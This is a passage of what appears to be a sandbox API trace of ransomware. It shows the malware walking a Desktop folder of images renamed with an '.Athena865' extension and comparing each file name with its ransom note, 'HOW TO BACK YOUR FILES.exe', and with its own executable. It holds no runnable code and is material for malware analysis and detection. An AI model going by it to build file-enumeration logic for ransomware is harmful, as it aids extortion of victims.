nFileSizeHigh=0x0, nFileSizeLow=0x18900, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A8s46zioVN.bmp.Athena865", cAlternateFileName="A8S46Z~1.ATH")) returned 1 [0100.535] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.535] lstrcmpiW (lpString1="A8s46zioVN.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.535] lstrcpyW (in: lpString1=0x241e896, lpString2="A8s46zioVN.bmp.Athena865" | out: lpString1="A8s46zioVN.bmp.Athena865") returned="A8s46zioVN.bmp.Athena865" [0100.535] lstrlenW (lpString="A8s46zioVN.bmp.Athena865") returned 24 [0100.535] lstrlenW (lpString="Athena865") returned 9 [0100.535] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.535] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe10aff0, ftCreationTime.dwHighDateTime=0x1d4c6b2, ftLastAccessTime.dwLowDateTime=0x4a9835f0, ftLastAccessTime.dwHighDateTime=0x1d4d221, ftLastWriteTime.dwLowDateTime=0xc6585100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bwco6yVtwvrspPp.bmp.Athena865", cAlternateFileName="BWCO6Y~1.ATH")) returned 1 [0100.535] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.535] lstrcmpiW (lpString1="bwco6yVtwvrspPp.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.535] lstrcpyW (in: lpString1=0x241e896, lpString2="bwco6yVtwvrspPp.bmp.Athena865" | out: lpString1="bwco6yVtwvrspPp.bmp.Athena865") returned="bwco6yVtwvrspPp.bmp.Athena865" [0100.535] lstrlenW (lpString="bwco6yVtwvrspPp.bmp.Athena865") returned 29 [0100.535] lstrlenW (lpString="Athena865") returned 9 [0100.535] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.535] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe81fbcb0, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x91fae130, ftLastAccessTime.dwHighDateTime=0x1d4d58d, ftLastWriteTime.dwLowDateTime=0xc65d13c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CDOyMLO_YVxau.jpg.Athena865", cAlternateFileName="CDOYML~1.ATH")) returned 1 [0100.535] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.535] lstrcmpiW (lpString1="CDOyMLO_YVxau.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.535] lstrcpyW (in: lpString1=0x241e896, lpString2="CDOyMLO_YVxau.jpg.Athena865" | out: lpString1="CDOyMLO_YVxau.jpg.Athena865") returned="CDOyMLO_YVxau.jpg.Athena865" [0100.535] lstrlenW (lpString="CDOyMLO_YVxau.jpg.Athena865") returned 27 [0100.536] lstrlenW (lpString="Athena865") returned 9 [0100.536] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.536] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0100.536] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.536] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.536] lstrcpyW (in: lpString1=0x241e896, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0100.536] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.536] lstrlenW (lpString="Athena865") returned 9 [0100.536] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.536] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa57dbe00, ftCreationTime.dwHighDateTime=0x1d4ce6f, ftLastAccessTime.dwLowDateTime=0x3e40ad30, ftLastAccessTime.dwHighDateTime=0x1d4cba7, ftLastWriteTime.dwLowDateTime=0xc65f7520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6610, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DxZ89tQr5hB.jpg.Athena865", cAlternateFileName="DXZ89T~1.ATH")) returned 1 [0100.536] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.536] lstrcmpiW (lpString1="DxZ89tQr5hB.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.536] lstrcpyW (in: lpString1=0x241e896, lpString2="DxZ89tQr5hB.jpg.Athena865" | out: lpString1="DxZ89tQr5hB.jpg.Athena865") returned="DxZ89tQr5hB.jpg.Athena865" [0100.536] lstrlenW (lpString="DxZ89tQr5hB.jpg.Athena865") returned 25 [0100.536] lstrlenW (lpString="Athena865") returned 9 [0100.536] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.536] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd06ca5c0, ftCreationTime.dwHighDateTime=0x1d4d4d9, ftLastAccessTime.dwLowDateTime=0x1c1f2880, ftLastAccessTime.dwHighDateTime=0x1d4d106, ftLastWriteTime.dwLowDateTime=0xc65f7520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2d20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F7QVJPbfkQM.gif.Athena865", cAlternateFileName="F7QVJP~1.ATH")) returned 1 [0100.536] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.536] lstrcmpiW (lpString1="F7QVJPbfkQM.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.536] lstrcpyW (in: lpString1=0x241e896, lpString2="F7QVJPbfkQM.gif.Athena865" | out: lpString1="F7QVJPbfkQM.gif.Athena865") returned="F7QVJPbfkQM.gif.Athena865" [0100.536] lstrlenW (lpString="F7QVJPbfkQM.gif.Athena865") returned 25 [0100.536] lstrlenW (lpString="Athena865") returned 9 [0100.536] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.536] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4799f260, ftCreationTime.dwHighDateTime=0x1d4cb84, ftLastAccessTime.dwLowDateTime=0x5f371900, ftLastAccessTime.dwHighDateTime=0x1d4cd93, ftLastWriteTime.dwLowDateTime=0xc661d680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4e30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gMvYXH18Yeul8hy7kd.jpg.Athena865", cAlternateFileName="GMVYXH~1.ATH")) returned 1 [0100.536] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.536] lstrcmpiW (lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.536] lstrcpyW (in: lpString1=0x241e896, lpString2="gMvYXH18Yeul8hy7kd.jpg.Athena865" | out: lpString1="gMvYXH18Yeul8hy7kd.jpg.Athena865") returned="gMvYXH18Yeul8hy7kd.jpg.Athena865" [0100.536] lstrlenW (lpString="gMvYXH18Yeul8hy7kd.jpg.Athena865") returned 32 [0100.536] lstrlenW (lpString="Athena865") returned 9 [0100.536] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.537] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39cd3640, ftCreationTime.dwHighDateTime=0x1d4d225, ftLastAccessTime.dwLowDateTime=0x6a2f8f80, ftLastAccessTime.dwHighDateTime=0x1d4c57e, ftLastWriteTime.dwLowDateTime=0xc661d680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc0f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hhvAWIyB-LHiXo.png.Athena865", cAlternateFileName="HHVAWI~1.ATH")) returned 1 [0100.537] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.537] lstrcmpiW (lpString1="hhvAWIyB-LHiXo.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.537] lstrcpyW (in: lpString1=0x241e896, lpString2="hhvAWIyB-LHiXo.png.Athena865" | out: lpString1="hhvAWIyB-LHiXo.png.Athena865") returned="hhvAWIyB-LHiXo.png.Athena865" [0100.537] lstrlenW (lpString="hhvAWIyB-LHiXo.png.Athena865") returned 28 [0100.537] lstrlenW (lpString="Athena865") returned 9 [0100.537] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.537] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbced0020, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbced0020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.537] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.537] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59f7bf80, ftCreationTime.dwHighDateTime=0x1d4c67c, ftLastAccessTime.dwLowDateTime=0x3b09ece0, ftLastAccessTime.dwHighDateTime=0x1d4c81d, ftLastWriteTime.dwLowDateTime=0xc66437e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HtNt.png.Athena865", cAlternateFileName="HTNTPN~1.ATH")) returned 1 [0100.537] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.537] lstrcmpiW (lpString1="HtNt.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.537] lstrcpyW (in: lpString1=0x241e896, lpString2="HtNt.png.Athena865" | out: lpString1="HtNt.png.Athena865") returned="HtNt.png.Athena865" [0100.537] lstrlenW (lpString="HtNt.png.Athena865") returned 18 [0100.537] lstrlenW (lpString="Athena865") returned 9 [0100.537] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.537] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58df7850, ftCreationTime.dwHighDateTime=0x1d4c856, ftLastAccessTime.dwLowDateTime=0xd4ddac50, ftLastAccessTime.dwHighDateTime=0x1d4c6b3, ftLastWriteTime.dwLowDateTime=0xc66437e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JB7yzTWIUGM3Q.png.Athena865", cAlternateFileName="JB7YZT~1.ATH")) returned 1 [0100.537] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.537] lstrcmpiW (lpString1="JB7yzTWIUGM3Q.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.537] lstrcpyW (in: lpString1=0x241e896, lpString2="JB7yzTWIUGM3Q.png.Athena865" | out: lpString1="JB7yzTWIUGM3Q.png.Athena865") returned="JB7yzTWIUGM3Q.png.Athena865" [0100.537] lstrlenW (lpString="JB7yzTWIUGM3Q.png.Athena865") returned 27 [0100.537] lstrlenW (lpString="Athena865") returned 9 [0100.537] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.537] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91593f50, ftCreationTime.dwHighDateTime=0x1d4c5fd, ftLastAccessTime.dwLowDateTime=0xace7e560, ftLastAccessTime.dwHighDateTime=0x1d4d065, ftLastWriteTime.dwLowDateTime=0xc6669940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xd940, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JWjQ.gif.Athena865", cAlternateFileName="JWJQGI~1.ATH")) returned 1 [0100.537] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.537] lstrcmpiW (lpString1="JWjQ.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.537] lstrcpyW (in: lpString1=0x241e896, lpString2="JWjQ.gif.Athena865" | out: lpString1="JWjQ.gif.Athena865") returned="JWjQ.gif.Athena865" [0100.537] lstrlenW (lpString="JWjQ.gif.Athena865") returned 18 [0100.538] lstrlenW (lpString="Athena865") returned 9 [0100.538] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.538] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b75500, ftCreationTime.dwHighDateTime=0x1d4c63e, ftLastAccessTime.dwLowDateTime=0x5c791be0, ftLastAccessTime.dwHighDateTime=0x1d4c77c, ftLastWriteTime.dwLowDateTime=0xc668faa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7de0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K644ujQtjWQA.jpg.Athena865", cAlternateFileName="K644UJ~1.ATH")) returned 1 [0100.538] lstrcmpiW (lpString1="K644ujQtjWQA.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.538] lstrcmpiW (lpString1="K644ujQtjWQA.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.538] lstrcpyW (in: lpString1=0x241e896, lpString2="K644ujQtjWQA.jpg.Athena865" | out: lpString1="K644ujQtjWQA.jpg.Athena865") returned="K644ujQtjWQA.jpg.Athena865" [0100.538] lstrlenW (lpString="K644ujQtjWQA.jpg.Athena865") returned 26 [0100.538] lstrlenW (lpString="Athena865") returned 9 [0100.538] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.538] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91a3090, ftCreationTime.dwHighDateTime=0x1d4c741, ftLastAccessTime.dwLowDateTime=0x57437550, ftLastAccessTime.dwHighDateTime=0x1d4cba8, ftLastWriteTime.dwLowDateTime=0xc668faa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x49b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M560XL.jpg.Athena865", cAlternateFileName="M560XL~1.ATH")) returned 1 [0100.538] lstrcmpiW (lpString1="M560XL.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.538] lstrcmpiW (lpString1="M560XL.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.538] lstrcpyW (in: lpString1=0x241e896, lpString2="M560XL.jpg.Athena865" | out: lpString1="M560XL.jpg.Athena865") returned="M560XL.jpg.Athena865" [0100.538] lstrlenW (lpString="M560XL.jpg.Athena865") returned 20 [0100.538] lstrlenW (lpString="Athena865") returned 9 [0100.538] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.538] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfbbbe50, ftCreationTime.dwHighDateTime=0x1d4d091, ftLastAccessTime.dwLowDateTime=0x647f64f0, ftLastAccessTime.dwHighDateTime=0x1d4c73d, ftLastWriteTime.dwLowDateTime=0xc66b5c00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xed80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJDFYAWcq6yDy.png.Athena865", cAlternateFileName="MJDFYA~1.ATH")) returned 1 [0100.538] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.538] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.538] lstrcpyW (in: lpString1=0x241e896, lpString2="mJDFYAWcq6yDy.png.Athena865" | out: lpString1="mJDFYAWcq6yDy.png.Athena865") returned="mJDFYAWcq6yDy.png.Athena865" [0100.538] lstrlenW (lpString="mJDFYAWcq6yDy.png.Athena865") returned 27 [0100.538] lstrlenW (lpString="Athena865") returned 9 [0100.538] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.538] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb471a0, ftCreationTime.dwHighDateTime=0x1d4cf58, ftLastAccessTime.dwLowDateTime=0xd0d21220, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0xc66b5c00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xfbf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nJ8IVrMa642w.bmp.Athena865", cAlternateFileName="NJ8IVR~1.ATH")) returned 1 [0100.538] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.538] lstrcmpiW (lpString1="nJ8IVrMa642w.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.538] lstrcpyW (in: lpString1=0x241e896, lpString2="nJ8IVrMa642w.bmp.Athena865" | out: lpString1="nJ8IVrMa642w.bmp.Athena865") returned="nJ8IVrMa642w.bmp.Athena865" [0100.539] lstrlenW (lpString="nJ8IVrMa642w.bmp.Athena865") returned 26 [0100.539] lstrlenW (lpString="Athena865") returned 9 [0100.539] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.539] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7088b320, ftCreationTime.dwHighDateTime=0x1d4cbf5, ftLastAccessTime.dwLowDateTime=0xc78ed010, ftLastAccessTime.dwHighDateTime=0x1d4c9a1, ftLastWriteTime.dwLowDateTime=0xc66dbd60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x15a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nQTw2Rxk0zIkw5zS.gif.Athena865", cAlternateFileName="NQTW2R~1.ATH")) returned 1 [0100.539] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.539] lstrcmpiW (lpString1="nQTw2Rxk0zIkw5zS.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.539] lstrcpyW (in: lpString1=0x241e896, lpString2="nQTw2Rxk0zIkw5zS.gif.Athena865" | out: lpString1="nQTw2Rxk0zIkw5zS.gif.Athena865") returned="nQTw2Rxk0zIkw5zS.gif.Athena865" [0100.539] lstrlenW (lpString="nQTw2Rxk0zIkw5zS.gif.Athena865") returned 30 [0100.539] lstrlenW (lpString="Athena865") returned 9 [0100.539] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.539] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x572078d0, ftCreationTime.dwHighDateTime=0x1d4d0de, ftLastAccessTime.dwLowDateTime=0xc4fa8090, ftLastAccessTime.dwHighDateTime=0x1d4cb15, ftLastWriteTime.dwLowDateTime=0xc6701ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OQaj- Y8eFM79sEi.jpg.Athena865", cAlternateFileName="OQAJ-Y~1.ATH")) returned 1 [0100.539] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.539] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.539] lstrcpyW (in: lpString1=0x241e896, lpString2="OQaj- Y8eFM79sEi.jpg.Athena865" | out: lpString1="OQaj- Y8eFM79sEi.jpg.Athena865") returned="OQaj- Y8eFM79sEi.jpg.Athena865" [0100.539] lstrlenW (lpString="OQaj- Y8eFM79sEi.jpg.Athena865") returned 30 [0100.539] lstrlenW (lpString="Athena865") returned 9 [0100.539] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.539] lstrcpyW (in: lpString1=0x241e896, lpString2="oUH1_pI2itD4dpy_z8OI.jpg.Athena865" | out: lpString1="oUH1_pI2itD4dpy_z8OI.jpg.Athena865") returned="oUH1_pI2itD4dpy_z8OI.jpg.Athena865" [0100.539] lstrlenW (lpString="oUH1_pI2itD4dpy_z8OI.jpg.Athena865") returned 34 [0100.539] lstrlenW (lpString="Athena865") returned 9 [0100.539] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.539] lstrcpyW (in: lpString1=0x241e896, lpString2="Pl8 rv9MiKs.jpg.Athena865" | out: lpString1="Pl8 rv9MiKs.jpg.Athena865") returned="Pl8 rv9MiKs.jpg.Athena865" [0100.539] lstrlenW (lpString="Pl8 rv9MiKs.jpg.Athena865") returned 25 [0100.539] lstrlenW (lpString="Athena865") returned 9 [0100.539] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.539] lstrcpyW (in: lpString1=0x241e896, lpString2="pWaepLE.png.Athena865" | out: lpString1="pWaepLE.png.Athena865") returned="pWaepLE.png.Athena865" [0100.539] lstrlenW (lpString="pWaepLE.png.Athena865") returned 21 [0100.540] lstrlenW (lpString="Athena865") returned 9 [0100.540] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.540] lstrcpyW (in: lpString1=0x241e896, lpString2="qgINIqoMFF7bLoKfY.bmp.Athena865" | out: lpString1="qgINIqoMFF7bLoKfY.bmp.Athena865") returned="qgINIqoMFF7bLoKfY.bmp.Athena865" [0100.540] lstrlenW (lpString="qgINIqoMFF7bLoKfY.bmp.Athena865") returned 31 [0100.540] lstrlenW (lpString="Athena865") returned 9 [0100.540] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.540] lstrcpyW (in: lpString1=0x241e896, lpString2="s9cQ52xVIt0iT_.gif.Athena865" | out: lpString1="s9cQ52xVIt0iT_.gif.Athena865") returned="s9cQ52xVIt0iT_.gif.Athena865" [0100.540] lstrlenW (lpString="s9cQ52xVIt0iT_.gif.Athena865") returned 28 [0100.540] lstrlenW (lpString="Athena865") returned 9 [0100.540] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.540] lstrcpyW (in: lpString1=0x241e896, lpString2="suDg l.jpg.Athena865" | out: lpString1="suDg l.jpg.Athena865") returned="suDg l.jpg.Athena865" [0100.540] lstrlenW (lpString="suDg l.jpg.Athena865") returned 20 [0100.540] lstrlenW (lpString="Athena865") returned 9 [0100.540] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.540] lstrcpyW (in: lpString1=0x241e896, lpString2="tUA 7lQiLXUB.gif.Athena865" | out: lpString1="tUA 7lQiLXUB.gif.Athena865") returned="tUA 7lQiLXUB.gif.Athena865" [0100.540] lstrlenW (lpString="tUA 7lQiLXUB.gif.Athena865") returned 26 [0100.540] lstrlenW (lpString="Athena865") returned 9 [0100.540] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.540] lstrcpyW (in: lpString1=0x241e896, lpString2="UAIEO6U.jpg.Athena865" | out: lpString1="UAIEO6U.jpg.Athena865") returned="UAIEO6U.jpg.Athena865" [0100.540] lstrlenW (lpString="UAIEO6U.jpg.Athena865") returned 21 [0100.540] lstrlenW (lpString="Athena865") returned 9 [0100.540] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.540] lstrcpyW (in: lpString1=0x241e896, lpString2="V-I6Tk8WtrI.jpg.Athena865" | out: lpString1="V-I6Tk8WtrI.jpg.Athena865") returned="V-I6Tk8WtrI.jpg.Athena865" [0100.540] lstrlenW (lpString="V-I6Tk8WtrI.jpg.Athena865") returned 25 [0100.540] lstrlenW (lpString="Athena865") returned 9 [0100.540] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.541] lstrcpyW (in: lpString1=0x241e896, lpString2="Ve-V1J95qqU3-IuMmgm7.png.Athena865" | out: lpString1="Ve-V1J95qqU3-IuMmgm7.png.Athena865") returned="Ve-V1J95qqU3-IuMmgm7.png.Athena865" [0100.541] lstrlenW (lpString="Ve-V1J95qqU3-IuMmgm7.png.Athena865") returned 34 [0100.541] lstrlenW (lpString="Athena865") returned 9 [0100.541] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.541] lstrcpyW (in: lpString1=0x241e896, lpString2="VKBs.jpg.Athena865" | out: lpString1="VKBs.jpg.Athena865") returned="VKBs.jpg.Athena865" [0100.541] lstrlenW (lpString="VKBs.jpg.Athena865") returned 18 [0100.541] lstrlenW (lpString="Athena865") returned 9 [0100.541] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.541] lstrcpyW (in: lpString1=0x241e896, lpString2="W0wpgP-oU.gif.Athena865" | out: lpString1="W0wpgP-oU.gif.Athena865") returned="W0wpgP-oU.gif.Athena865" [0100.541] lstrlenW (lpString="W0wpgP-oU.gif.Athena865") returned 23 [0100.541] lstrlenW (lpString="Athena865") returned 9 [0100.541] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.541] lstrcpyW (in: lpString1=0x241e896, lpString2="Ya3k0m2vT.gif.Athena865" | out: lpString1="Ya3k0m2vT.gif.Athena865") returned="Ya3k0m2vT.gif.Athena865" [0100.541] lstrlenW (lpString="Ya3k0m2vT.gif.Athena865") returned 23 [0100.541] lstrlenW (lpString="Athena865") returned 9 [0100.541] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.541] lstrcpyW (in: lpString1=0x241e896, lpString2="Zzgl j.gif.Athena865" | out: lpString1="Zzgl j.gif.Athena865") returned="Zzgl j.gif.Athena865" [0100.541] lstrlenW (lpString="Zzgl j.gif.Athena865") returned 20 [0100.541] lstrlenW (lpString="Athena865") returned 9 [0100.541] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.541] lstrcpyW (in: 